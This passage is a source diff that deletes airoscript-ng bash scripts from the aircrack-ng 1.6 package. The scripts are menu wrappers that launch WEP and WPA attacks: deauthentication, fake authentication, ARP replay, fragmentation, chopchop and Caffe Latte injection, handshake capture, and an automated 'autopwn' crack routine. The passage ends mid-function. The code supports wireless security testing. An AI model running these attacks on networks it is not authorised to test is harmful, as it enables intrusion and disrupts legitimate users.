-            echo $"INFO Output folder is" " $DUMP_PATH";
-        fi
-    else
-        echo $"Error Output folder does not exists or is a regular file."
-        exit
-    fi
-}
-
-check_function(){
-    declare -f $1 &>/dev/null
-    return $?
-}
-
-# Standard attacks functions.
-
-attack_wpa(){
-    check_function wpa_attacks || source $path/attacks/wpa
-    wpa_attacks menu
-}
-
-attack_wep(){
-    check_function wep_attacks || source $path/attacks/wep
-    wep_attacks menu
-}
-
-attack_opn(){ # If no encryption detected
-    $clear && error "Network not encrypted or not network selected";
-}
-
-capture(){
-    hardclean
-    execute "Capturing" $AIRODUMP --ignore-negative-one --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $wifi
-    echo
-}
-
-tag(){ echo -ne "\t"; }
-
-hardclean(){ rm -rf $DUMP_PATH/$Host_MAC*; }
-
-single_question(){ read -p "${@}" ans; }
-special_single_question(){ single_question "${@}"; }
-warn(){ echo "${@}"; }
-specialwarn(){ echo -e -n "${@}"; }
-yesno(){
-    read -p "${@} Y|n" -n1 -s a; echo
-     $a =~ (.*)N|n(.*)  && return 1 || return 0
-}
-
-check_default_software(){
-    for program in ${required_software@}; do
-         $(whereis $program)  || { echo -en "$program"; warn "not found, quitting." ; exit ; }
-    done
-}
-
-_source $path/internal/startup

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/attacks Deleted

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/attacks/auth Deleted

@@ -1,73 +0,0 @@
-# Copyright (C)  2011 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        Along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-authmenu(){
-    while true; do
-        mkmenu $"Autentication menu" $"Fake autentication" $"Deautentication" $"Return to main menu"
-        case $choice in
-            1  ) choose_fake    ; $clear; break;;
-            2  ) choose_deauth  ; $clear; break;;
-            3  ) $clear ; break;;
-            *  ) echo $"Unknown response, try again"; sleep 1; $clear;;
-        esac
-    done
-}
-
-choose_deauth(){
-	 $1  && { auth_attacks_deauth $1; return ; } 
-     $AUTO == 2  && { auth_attacks_deauth 1;return; }
-     $AUTO == 1  && { auth_attacks_deauth 1;return; }
-    while true; do
-		mkmenu $"Who do you want to deauth?" $"Everybody" $"Myself (fake mac)" $"Selected client"
-		auth_attacks_deauth $choice || error $"Unknown response. Try again" ;
-	done
-}
-
-auth_attacks_deauth(){ attack=$1;
-	case $attack in
-		1) execute $"Deauth All" $AIREPLAY --deauth $DEAUTHTIME -a $Host_MAC $wifi;;
-		2) execute $"Deauth client" $AIREPLAY --deauth $DEAUTHTIME -a $Host_MAC -c $Client_MAC $iwifi;; 
-		3) execute $"Deautenticating" $AIREPLAY --deauth $DEAUTHTIME -a $Host_MAC -c $FAKE_MAC $iwifi;;
-	esac
-}
-
-choose_fake(){
-	required "$Host_SSID" "You have to select a target first" || return;
-	 "$INTERACTIVE" != "1"  && { auth_attacks_fake 1; auth_attacks_fake 2; auth_attacks_fake 3; return; }
-	while true; do
-		mkmenu $"Fake Auth Method" $"Conservative" $"Standard" $"Progressive" $"Xor Injection"
-		check_function "${auth_attacks_fake_$choice}" && { auth_attacks_fake $choice; break; }
-		error $"Unknown response. Try again" ;
-	done
-}
-
-auth_attacks_fake(){
-	export time_=2;
-	case $choice in
-		1 ) execute "Fake auth (1) " $AIREPLAY --fakeauth 6000 -o 1 -q 10\
-		   	-e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $iwifi;;
-		2 ) execute "Fake auth (2) " $AIREPLAY --fakeauth 0\
-		   	-e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $iwifi ;;
-		3 ) execute "Fake auth (3) " $AIREPLAY --fakeauth 5 -o 10 -q 1\
-		   	-e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $iwifi ;;
-		4 ) execute "Fake auth (4) " $AIREPLAY -1 0 -e "$HOST_SSID"\
-		   	-y $DUMP_PATH/*.xor -a $Host_MAC -h $FAKE_MAC $iwifi ;;
-		* ) return 1; 
-	esac
-}
-
-fakeauth(){
-    execute "Fake auth on $Host_SSID" $AIREPLAY --fakeauth $AUTHDELAY -q $KEEPALIVE -e "$Host_SSID" -a $Host_MAC -h $FAKE_MAC $iwifi
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/attacks/injection Deleted

@@ -1,86 +0,0 @@
-# Autocrack functions file for airoscript.
-
-# Copyright (C) 2011 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-# This is for iNJECTION  (8)  option
-
-othersinjectmenu(){
-    while true; do 
-        mkmenu "Injection type" "Frag Injection" "ChopChop injection" "WPA Migration Mode"; 
-        case $choice in 
-            1) injectmenu frag; break;;
-            2) injectmenu chopchop; break;;
-            3) execute "$AIREPLAY -8 -b $Host_MAC -h $FAKE_MAC $iwifi"; break;;
-            *) $clear;
-        esac
-    done
-}
-
-injectmenu(){
-    while true; do
-        ls -lah $DUMP_PATH/*.xor &>/dev/null
-         $? != 0  && { warn  "${mark}Can't open fragmentation xor files. Returning"; echo;  return; }
-        if  "$1" == "frag" ; then
-            if  "$AUTO" == 1 ; then
-                if  "$Client_MAC" != "" ; then fragend $Client_MAC; return; fi
-                if  "$FAKE_MAC" != "" ; then fragend $FAKE_MAC; return; fi
-                return
-            fi
-
-            mkmenu "Frag Injection" "Frag with client injection"   "Return to main menu"
-            case $choice in
-                1 ) fragend $Client_MAC ; break ;;
-                2 ) fragend $FAKE_MAC; break ;;
-                * ) $clear; break;;
-            esac
-        fi
-
-        if  "$1" == "chopchop" ; then
-            if  "$AUTO" == 1 ; then
-                if  "$Client_MAC" != "" ; then chopchopend $Client_MAC; return; fi
-                if  "$FAKE_MAC" != "" ; then chopchopend $FAKE_MAC; return; fi
-                return
-            fi
-
-            mkmenu "Chopchop injection" "Chopchop with client inj."  "Return to main menu"
-            case $choice in
-                1 ) chopchopend $FAKE_MAC ; break ;;
-                2 ) chopchopend $CLIENT_MAC ; break ;;
-               * ) $clear; break;;
-            esac
-        fi
-    done
-}
-
-fragend(){
-    if  "$Host_MAC" = "" ; then
-        $clear && warn "${mark}ERROR: You must select a target first"
-    else
-        $ARPFORGE -0 -a $Host_MAC -h $1 -k $Client_IP -l $Host_IP -y $DUMP_PATH/fragment-*.xor -w $DUMP_PATH/frag_$Host_MAC.cap
-        execute "Fragmentation without client" $AIREPLAY -2 -r $DUMP_PATH/frag_$Host_MAC.cap -h $1 -x $INJECTRATE $iwifi 
-    fi
-}
-
-chopchopend(){
-    if  "$Host_MAC" = "" ; then
-        $clear && warn "${mark}ERROR: You must select a target first"
-    else
-        rm -rf $DUMP_PATH/chopchop_$Host_MAC*
-        $ARPFORGE -0 -a $Host_MAC -h $1 -k $Client_IP -l $Host_IP -y $DUMP_PATH/replay*.xor -w $DUMP_PATH/chopchop_$Host_MAC.cap
-        AUTO=0; QUIET=""; execute "ChopChop End" $AIREPLAY --interactive -r $DUMP_PATH/chopchop_$Host_MAC.cap -h $1 -x $INJECTRATE $iwifi 
-    fi
-}
-

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/attacks/others Deleted

@@ -1,286 +0,0 @@
-# Other tools (mostly external) functions file for airoscript.
-
-# Copyright (C) 2009-2011 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-check_function fakeauth3 || source $path/attacks/auth # It depends on auth module ;)
-check_function injectmenu || source $path/attacks/injection # It depends on injection module ;)
-
-othertmenu(){
-    while true; do
-         mkmenu $"Other aircrack-ng tools" $"Scanning" $"Injection" $"Autentication" $"Package manipulation" $"Create virtual interface with airtun-ng" $"Diagnostics and reports" $"Auto crack wep with wesside-ng" "Easside-ng" $"Return to main menu"
-        case $choice in
-            1  ) AUTO=0 menu_type; $clear; break;;
-            2  ) othersinjectmenu    ; $clear; break;;
-            3  ) authmenu      ; $clear; break;;
-            4  ) package_menu  ; $clear; break;;
-            5  ) airtunmenu    ; $clear; break;;
-            6  ) diagmenu      ; $clear; break;;
-            7  ) choosewesside ; $clear; break;;
-            8  ) eassideng     ; $clear; break;;
-            9 ) $clear        ; break ;;
-            *  ) echo $"Unknown response, try again"; sleep 1; $clear;;
-        esac
-    done
-}
-
-
-generate_hcap(){
-    wait_for_execute=1; execute $AIRCRACK $DUMP_PATH/$Host_MAC-01.cap -J $DUMP_PATH/$Host_MAC-01.hccap; wait_for_execute=0;
-    read -p $"Your hccap file is in $DUMP_PATH/$Host_MAC-01.hccap . Press enter to continue"
-    export HCCAPFILE=$DUMP_PATH/$Host_MAC-01.hccap
-}
-
-airdecmenu(){
-    while true; do
-        if  "$d_cloaked_null" == 1 ; then d_cloaked_null_status="X"; else d_cloaked_null_status=" "; fi
-        if  "$d_cloaked_base" == 1 ; then d_cloaked_base_status="X"; else d_cloaked_base_status=" "; fi
-        if  "$d_cloaked_frag" == 1 ; then d_cloaked_frag_status="X"; else d_cloaked_frag_status=" "; fi
-
-        mkmenu "Airdecloak-ng" "Asume that null packets can be cloacked $d_cloaked_null_status" "Disable base filter $d_cloaked_base_status" "Drop fragmented packets $d_cloaked_frag_status" "Specify filters (comma separated)" "Launch decloak" "Return to main menu"
-        opts="";
-        case $choice in
-            1) if  "$d_cloaked_null" == 1 ; then d_cloaked_null=0; else d_cloaked_null=1; fi; $clear;;
-            2) if  "$d_cloaked_base" == 1 ; then d_cloaked_base=0; else d_cloaked_base=1; fi; $clear;;
-            3) if  "$d_cloaked_frag" == 1 ; then d_cloaked_frag=0; else d_cloaked_frag=1; fi; $clear;;
-            4) single_question "Enter filters: "; d_cloaked_filters=$ans; $clear;;
-            5)
-                if  "$d_cloaked_null" == 1 ; then opts="$opts --null-packets"; fi
-                if  "$d_cloaked_base" == 1 ; then opts="$opts --diable-base-filter"; fi
-                if  "$d_cloaked_frag" == 1 ; then opts="$opts --drop-frag"; fi
-                execute $AIRDECLOAK $opts --ssid $Host_SSID --bssid $Host_MAC --filters $d_cloaked_filters -i $DUMP_PATH/$Host_MAC-01.cap
-                $clear; break;;
-            6) $clear; break;;
-        esac
-    done
-}
-
-airtunmenu(){
-    if  "$Host_MAC" != ""  &&  "$Host_SSID" != ""  &&  -e $DUMP_PATH/$Host_MAC.key ; then
-        execute $AIRTUN -a $Host_MAC -i $wificard -w "`cat $DUMP_PATH/$Host_MAC.key`"
-    else
-        if  "$Host_MAC" != ""  &&  "$Host_SSID" != ""  &&  $Host_ENC =~ (.*)"OPN"(.*) ; then
-            execute $AIRTUN -a $Host_MAC -i $wificard
-        else
-            warn "Error: Network not selected"
-         fi
-       fi
-}
-
-cleanairtun() {
-    killall airtun-ng
-}
-
-package_menu(){
-    while true; do
-         "$Host_ENC" =~ (.*)WPA(.*)  && {
-            mkmenu $"Package manipulation tools" $"Merge all ivs from all sessions" $"Decrypt current packages" $"Decloack packages"\
-                $"Generate hccap file for oclhashcat" $"Return to main menu"
-            case $choice in
-                1) mergeallivs;$clear; break;;
-                2) decrypt; $clear; break;;
-                3) airdecmenu; $clear; break;;
-                4) generate_hcap ; $clear; break;;
-                5) $clear;break ;;
-                * ) echo $"Unknown response. Try again" ;;
-            esac
-        } || {
-            mkmenu $"Package manipulation tools" $"Merge all ivs from all sessions" $"Decrypt current packages" $"Decloack packages"\
-                $"Return to main menu"
-            case $choice in
-                1) mergeallivs;$clear; break;;
-                2) decrypt; $clear; break;;
-                3) airdecmenu; $clear; break;;
-                4) $clear;break ;;
-                * ) echo $"Unknown response. Try again" ;;
-            esac
-        }
-    done
-}
-
-mergeallivs(){ # TODO Untested
-    newdir=`mktemp -d`
-    for i in $TMPDIR/*/*.cap; do b=$(( $b + 1 )); $IVSTOOLS --convert $i $newdir/$b; done
-    ivstools --merge $newdir/* $DUMP_PATH/merged.cap
-    read -p $"Select merged data as target? (y/N): " ACP &&  "$ACP" = $"y"  && Host_MAC="merged"
-}
-
-choosewesside(){
-        while true; do
-            $clear; mkmenu $"Choose Wesside-ng Options" $"No args" $"Selected target" $"Sel. target max retrans" $"Sel. target poor conection" $"Select another target" $"Return to main menu"
-            case $choice in
-                1 ) wesside ; break ;;
-                2 ) wessidetarget ; break ;;
-                3 ) wessidetargetmaxer ; break ;;
-                4 ) wessidetargetpoor ; break ;;
-                5 ) wessidenewtarget ; break ;;
-                6 ) break ;;
-                * ) echo -e $"Unknown response. Try again" ;;
-            esac
-    done
-}
-
-wesside(){
-    rm -rf prga.log wep.cap key.log
-    execute "Wesside-ng" $WESSIDE -i $wifi & choosewesside
-}
-
-wessidetarget(){
-    rm -rf prga.log wep.cap key.log
-    execute "Wesside-ng" $WESSIDE -v $Host_MAC -i $wifi & {  $1  || choosewesside; }
-}
-
-wessidetargetmaxer(){
-    rm -rf prga.log wep.cap key.log
-    execute "Wesside-ng" $WESSIDE -v $Host_MAC -k 1 -i $wifi  & {  $1  || choosewesside; }
-}
-
-wessidetargetpoor(){
-    rm -rf prga.log wep.cap key.log
-    execute "Wesside-ng" $WESSIDE -v $Host_MAC -k 3 -i $wifi & {  $1  || choosewesside; }
-}
-
-wessidenewtarget(){
-    rm -rf prga.log wep.cap  key.log
-    selectAp
-    execute "Wesside" $WESSIDE -v $Host_MAC -i $wifi & {  $1  || choosewesside; }
-}
-
-diagmenu(){
-    check_function kstatsmenu || source $path/reporting
-    while true; do
-        mkmenu $"Diagnostic tools and reports" $"Show kstats report" $"Test injection" $"Checks with airmon-ng" $"Create graphs" $"Update airoscript report" $"Return to main menu"
-        case $choice in
-            1  ) kstatsmenu    ; $clear; break;;
-            2  ) inject_test   ; $clear; break;;
-            3  ) airmoncheck   ; $clear; break;;
-            4  ) _airgraph     ; $clear; break;;
-            5  ) report_mode   ; $clear; break;;
-            6  ) make_report   ; $clear; break;;
-            7  )                 $clear; break;;
-            *  ) $"Unknown response, try again"; sleep 1; $clear;;
-        esac
-    done
-}
-
-
-
-inject_test(){
-    execute "Test injection" $AIREPLAY $iwifi --test
-}
-
-airmoncheck(){
-    if  "$TYPE" = "Atherosmadwifi-ng" ; then $AIRMON check wifi0
-    else $AIRMON check $wificard; fi
-}
-
-
-decrypt(){
-    $AIRDECAP $DUMP_PATH/$Host_MAC.cap -w "`cat $DUMP_PATH/$Host_MAC.key`"
-    warn "Decrypted packages to $DUMP_PATH/$Host_MAC.cap-dec.cap"
-}
-
-menu_options(){
-    while  "1"  ; do
-        mkmenu $"Airoscript options"  $"Select another interface" $"Reset selected interface"\
-            $"Change MAC of interface"  $"Enable monitor mode" $"Change DUMP_PATH"\
-            $"Try to configure network" $"Return to main menu"
-
-        case $choice in
-        1 ) setinterface 1 ; $clear; break ;;
-        2 ) cleanup; $clear; break ;;
-        3 ) wichchangemac ; $clear; break ;;
-        4 ) monmode;$clear ; break ;;
-        5 ) changedumppath;$clear; break;;
-        6 ) configure;$clear; break;;
-        7 ) $clear;break ;;
-        * ) $"Unknown response. Try again" ;;
-        esac
-    done
-}
-
-cleanup(){
-    while  "1" ; do
-        mkmenu $"Interface cleanup" $"Normal cleanup" $"Reset driver" $"Vmware fix for bt4" $"Return to main menu"
-        case $choice in
-            1 ) { killall -9 aireplay-ng airodump-ng &> /dev/null &
-                $AIRMON stop $wificard; ifconfig $wificard down;
-                $clear; sleep 2; $CARDCTL eject; sleep 2; $CARDCTL insert;
-                ifconfig $wificard up; $AIRMON start $wificard $Host_CHAN;
-                $iwconfig $wificard;
-            } &>/dev/null ; break ;;
-            2 ) { rmmod $DRIVER; modprobe $DRIVER; } &>/dev/null; break ;;
-            3 ) { ifconfig $wificard down; rmmod $DRIVER; rfkill blockall; rfkill unblock all; modprobe $DRIVER; rfkill unblock all; ifconfig $wificard up; } &>/dev/null; break ;;
-            4 ) $clear; break ;;
-            * ) $clear;;
-        esac
-    done
-}
-
-
-changedumppath(){
-    OLD_DUMP_PATH=$DUMP_PATH
-    read -p $"Enter new path: " DUMP_PATH
-    read -p $"Copy data into new folder? (y/N): " ACP &&  "$ACP" = $"y"  && cp -r $OLD_DUMP_PATH/* $DUMP_PATH/
-    read -p $"Erase old folder? (y/N): " EPF &&  "$EPF" = $"y"  && rm -r $OLD_DUMP_PATH
-    mkdir -p $DUMP_PATH # If exists, it won't be created again, so we don't lose anything fot this :-)
-    $olear
-}
-
-eassideng(){
-     while true; do $clear
-        mkmenu "Easside-ng" $"Create virtual interface" "Run buddy server" "Return to main menu"
-        case $choice in
-            1 )
-                while true; do $clear
-                    read -p $"Select buddy IP" buddyip; $clear
-                    mkmenu $"Choose ap mac " $"Choose source mac" $"Chosse Source IP" $"Choose router ip" $"Execute" $"Return";
-                    read -p $"Anser: " answer; echo
-                    case $choice in
-                        1 ) opts=" $opts -v $answer " ;break ;;
-                        2 ) opts=" $opts -m $answer " ;break ;;
-                        3 ) opts=" $opts -i $answer " ;break ;;
-                        4 ) opts=" $opts -r $answer " ;break ;;
-                        5 ) execute "Easside-ng" $EASSIDE -s $buddyip -f $wifi $opts ;break ;;
-                        6 ) $clear; break ;;
-                    esac
-                done ;;
-            2 ) execute $BUDDY ;;
-            3 ) $clear ; break ;;
-            * ) $clear; echo  $"Unknow response, try again"; sleep 2 ;;
-        esac
-    done
-}
-
-airbaseng(){
-    # FUCK This tool is quite awesome, too much for a single function... :/ Might be an entire class, but... this is bash.
-    # Functional and so on, let's make a hack!
-    check_function airbaseng_main || source $path/attacks/airbaseng
-    opt=$1; shift;
-    airbase_$opt $@;
-}
-
-
-setupairservng(){
-    single_question $"Do you want to use airserv-ng? y/N "
-    if  "$ans" == $"y" ; then
-        export wificard=$wifi && single_question $"Start a local server? y/N "
-        if  "$ans" == $"y" ; then export wifi="127.0.0.1:666" && $AIRSERV -d  $wificard >/dev/null 2>1 &
-        else read -p $"Enter airserv-ng address 127.0.0.1:666"
-            wifi=$ans
-            if  "$wifi" == "" ; then export wifi="127.0.0.1:666";fi
-        fi
-    fi
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/attacks/wep Deleted

@@ -1,149 +0,0 @@
-# Wep attack functions for airoscript
-# Copyright (C) 2011 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-# Warning! at least generic, internal and interface must be loaded before this one!
-
-check_function auth_attacks_fake || source $path/attacks/auth # It depends on auth module ;)
-check_function injectmenu || source $path/attacks/injection # It depends on injection module ;)
-
-check_client(){
-	 $dynamic_client_selection  && { auto_scan_clients; select_client; }
-	 $Client_MAC != ""   && { 
-		ifconfig $wificard hw ether $Client_MAC
-		directed=1; 
-		return 0; 
-	} || {
-		directed=0;
-		ifconfig $wificard hw ether $FAKE_MAC
-	}
-}
-
-wep_attacks_menu(){
-	help_fifo $"${mark}${red}Wep attacks${end}\n"\
-		"You're seeing this menu because the network you selected has WEP encryption\n"\
-		"Here follows some information about each attack\n"\
-		"${red}ARP Replay${end}\n" \
-		"Standard arp replay, tries to capture an arp and send it back to the router to generate traffic. If not client selected, it'll launch a fake auth attack to simulate one \n"\
-		"${red}Fragmentation ${end}\n"\
-		"Initiates a fragmentation attack to obtain 1500 bytes of PRGA. Then it generates a packet and injects it back to the router.\n"\
-		"${red}ChopChop  ${end}\n"\
-		"Tries to decode a single wep packet via chopchop attack, then it starts an injection attack with that packet.\n"\
-		"${red}Caffe Latte${end}\n"\
-		"An attack not requering router to be in range, client-directed (useful if you're not close to the ap, but to a client)"
-
-
-    while true; do $clear 
-	    mkmenu $"Attacks using a client"\
-            $"ARP replay"\
-            $"Fragmentation attack"\
-            $"Chopchop attack"\
-            $"Caffe latte"\
-            $"Return to main menu"
-
-            case $choice in
-                1) check_client ;  wep_attacks arpreplay_interactive; break ;;
-                2) check_client ;  wep_attacks fragmentation -7; break ;;  
-                3) check_client ;  wep_attacks chopchop; break ;;
-                4) check_client ;  wep_attacks caffelate; break ;;
-                5) $clear; break ;;
-                *) error $"Unknown response, try again";;
-            esac
-    done
-}
-
-wep_attacks(){
-    $clear
-    attack=$1; shift;
-	hardclean replay_dec-*.xor
-     $attack != menu  && { 
-		export time_=0;
-		capture
-	 }
-	export time_=1
-    wep_attacks_$attack $@
-	notification=$attack_notification
-    $clear;
-}
-interactive_wep(){
-    if  "$INTERACTIVE" == 1 ; then
-        read -p $"Enter destination mac: (FF:FF:FF:FF:FF:FF)" INJMAC
-        if  "$INJMAC" = "" ; then INJMAC=$INJMAC_; fi
-        read -p $"Set framecontrol word (hex): (0841) " FT
-        if  "$FT" = "" ; then FT=$FT_; fi
-    else INJMAC=$INJMAC_; FT=$FT_; fi
-}
-
-
-wep_attacks_caffelate(){
-	time_=1
-	export wait_for_execute=0;
-	execute  $"Cafe Latte Attack on: $Host_SSID "\
-	   	$AIREPLAY -6 -b $Host_MAC -h $FAKE_MAC -x \
-		$INJECTRATE -D $iwifi & 
-	auth_attacks_fake
-}
-
-wep_attacks_arpreplay_interactive(){
-	FT_="0841"; INJMAC_="FF:FF:FF:FF:FF:FF"; interactive_wep;
-
-    if  $directed == 1 ; then
-		time_=1;
-		execute $"Interactive Packet Sel on: $Host_SSID" $AIREPLAY $iwifi --interactive -p $FT -c $INJMAC -b $Host_MAC -h $Client_MAC -x $INJECTRATE 
-	else
-		time_=1;
-		execute $"Interactive Packet Sel on: $Host_SSID" $AIREPLAY $iwifi --interactive -p $FT -c $INJMAC -b $Host_MAC -h $FAKE_MAC -x $INJECTRATE 
-		auth_attacks_fake 1
-	fi
-}
-
-wep_attacks_fragmentation(){
-    if  $directed != 1 ; then
-		time_=1;
-		auth_attacks_fake 
-		tail_launched=1
-        export wait_for_execute=1; execute $"Fragmentation w/o client" $AIREPLAY -5 -b $Host_MAC -h\
-            $FAKE_MAC -k $FRAG_CLIENT_IP -l $FRAG_HOST_IP $iwifi 
-
-		wait_for_execute=0;
-    else
-		time_=1;
-		tail_launched=1
-        wait_for_execute=1; execute $"Fragmentation attack" $AIREPLAY -7 -b $Host_MAC -h $Client_MAC\
-            -k $FRAG_CLIENT_IP -l $FRAG_HOST_IP $iwifi  
-		wait_for_execute=0;
-    fi
-	AUTO=1 injectmenu frag
-}
-
-wep_attacks_chopchop(){
-    $clear
-	hardclean replay_dec-*.xor
-
-	 $directed != 1  && {
-		auth_attacks_fake
-		tail_launched=1
-		export wait_for_execute=1; execute $"Chopchoping at $Host_SSID"\
-			$AIREPLAY --chopchop -b $Host_MAC -h $FAKE_MAC $iwifi  
-		export wait_for_execute=0;
-	} || {
-		export wait_for_execute=1; 
-		tail_launched=1
-		execute $"Directed ChopChoping to $Client_MAC at $Host_SSID"\
-			$AIREPLAY  --chopchop -b $Host_MAC -h $Client_MAC $iwifi 
-		export wait_for_execute=0;
-	}
-	AUTO=1 injectmenu chopchop
-}

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/attacks/wpa Deleted

@@ -1,87 +0,0 @@
-# Wpa attack functions for airoscript
-# Copyright (C) 2011 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-
-# Warning! at least generic, internal and interface must be loaded before this one!
-
-check_function auth_attacks_fake || source $path/attacks/auth # It depends on auth module ;)
-check_function wep_attacks || source $path/attacks/wep
-
-wpa_attacks(){
-    hardclean && $clear
-    attack=$1; shift;
-    wpa_attacks_$attack $@
-    notification=$attack_notification
-}
-
-wpa_attacks_menu(){
-    help_fifo $"${mark}${red}WPA attacks${end}\n"\
-        "You're seeing this menu because the network you selected has WPA encryption\n"\
-        "${red}Standard deauth attack${end}\n"\
-        "Deauths a client, then waits for the client to reconnect and tries to capture the 4-way handshake\n"\
-        "${red}QOS attack${end}\n"\
-        "Launches tkiptun-ng to try to crack some vulnerable accesspoints to the wmm stuff\n"\
-        "${red}WPA Migration Mode attack${end}\n"\
-        "This attack targets on Cisco Aironet routers, wich set both WPA and WEP encriptions on the same sssid\nIt listens for a wep-encapsulated arp packet and retransmits it (bitflipped to make it into an ARP coming from the attacker's MAC)"
-
-    while true; do
-        $clear; mkmenu $"Select WPA Attack" $"Standard attack" $"Standard attack with QoS (WMM)" $"WPA migration mode" $"Return to main menu"
-        case $choice in
-             1) wpa_attacks handshake; $clear; break;;
-             2) wpa_attacks qos; $clear; break;;
-             3) wpa_attacks wpamm; $clear; break;;
-             4) $clear; break;;
-        esac
-    done
-}
-
-wpa_attacks_wpamm(){
-    {
-        Host_ENC="WEP";
-        wep_attacks fakeauto &
-        {
-            AUTO=2;
-            choice=3;
-            othersinjectmenu;
-            AUTO=0;
-            $clear;
-        }; $clear;
-    } && Host_ENC="WPA";
-    $clear; echo; $clear;
-}
-
-wpa_attacks_handshake(){
-
-     $dynamic_client_selection  && {
-        auto_scan_clients;
-        select_client;
-    }
-
-     $Client_MAC != ""   && { directed=1; }
-    export time_=0;
-    execute $"Capturing data on channel: $Host_CHAN"  $AIRODUMP --ignore-negative-one  -w $DUMP_PATH/$Host_MAC --bssid $Host_MAC --channel $Host_CHAN -a $wifi
-    export time_=1
-     $directed == 1  && choose_deauth 2
-     $directed != 1  && choose_deauth 3
-
-
-}
-
-wpa_attacks_qos(){
-     iwconfig $wificard channel $Host_CHAN # Hope this is ok for all cards
-    export time_=0;
-     execute $"Executing tkiptun-ng for ap $Host_MAC"  $TKIPTUN -h $FAKE_MAC -a $Host_MAC -m $TKIPTUN_MIN_PL -n $TKIPTUN_MAX_PL  $wifi
-}
-

aircrack-ng-1.6.tar.gz/scripts/airoscript-ng/src/functions/autocrack Deleted

@@ -1,213 +0,0 @@
-# Autocrack functions file for airoscript.
-
-# Copyright (C) 2011 David Francos Cuartero
-#        This program is free software; you can redistribute it and/or
-#        modify it under the terms of the GNU General Public License
-#        as published by the Free Software Foundation; either version 2
-#        of the License, or (at your option) any later version.
-
-#        This program is distributed in the hope that it will be useful,
-#        but WITHOUT ANY WARRANTY; without even the implied warranty of
-#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#        GNU General Public License for more details.
-
-#        You should have received a copy of the GNU General Public License
-#        along with this program; if not, write to the Free Software
-#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
-# FUCKING UNPOLISHED, but... it seems to work.
-
-
-source $path/attacks/others
-source $path/attacks/injection
-source $path/attacks/wpa
-source $path/attacks/auth
-source $path/attacks/wep
-source $path/crack/main
-
-autopwn(){ func=$1; shift; autopwn_$func $@; }
-
-autopwn_setvars(){
-    attack_functions_wep=(fakeauto fakeinteractive chopchop caffelate hirte arpreplay_auto arpreplay_interactive fragmentation chopchopclient pskarp)
-    attack_functions_wpa=(handshake)
-
-    F=0; export AUTO=$1; export QUIET=1; export INTERACTIVE=0; next=0; count=0;
-    export writekey="-l $DUMP_PATH/$Host_MAC.key"
-     $1 == 1  && export ENCRYPT="";
-}
-
-autopwn_scan(){
-    launch_counter $time_to_scan &
-        choosescan # Choose scan in auto auto auto mode.
-        sleep $time_to_scan && killall -2 "airodump-ng";
-
-    reload_config
-
-    while read line; do                                                                                  ⮂ 17:43:43 ⮂ 2013-08-10
-         $line =~ ^Station\ MAC,(.*)  && next=0;
-         $next == 1  && echo $line;
-         $line =~ ^BSSID,(.*)  && next=1;
-    done < ${DUMP_PATH}/dump-01.csv | tac > ${DUMP_PATH}/dump-02.csv
-
-    filter_ssid
-}
-
-autopwn_selectap(){
-    export AUTO=2; selectAp;  sleep 1
-}
-
-autopwn_crack(){
-    check_function Crack_with_dictionary_generator && {
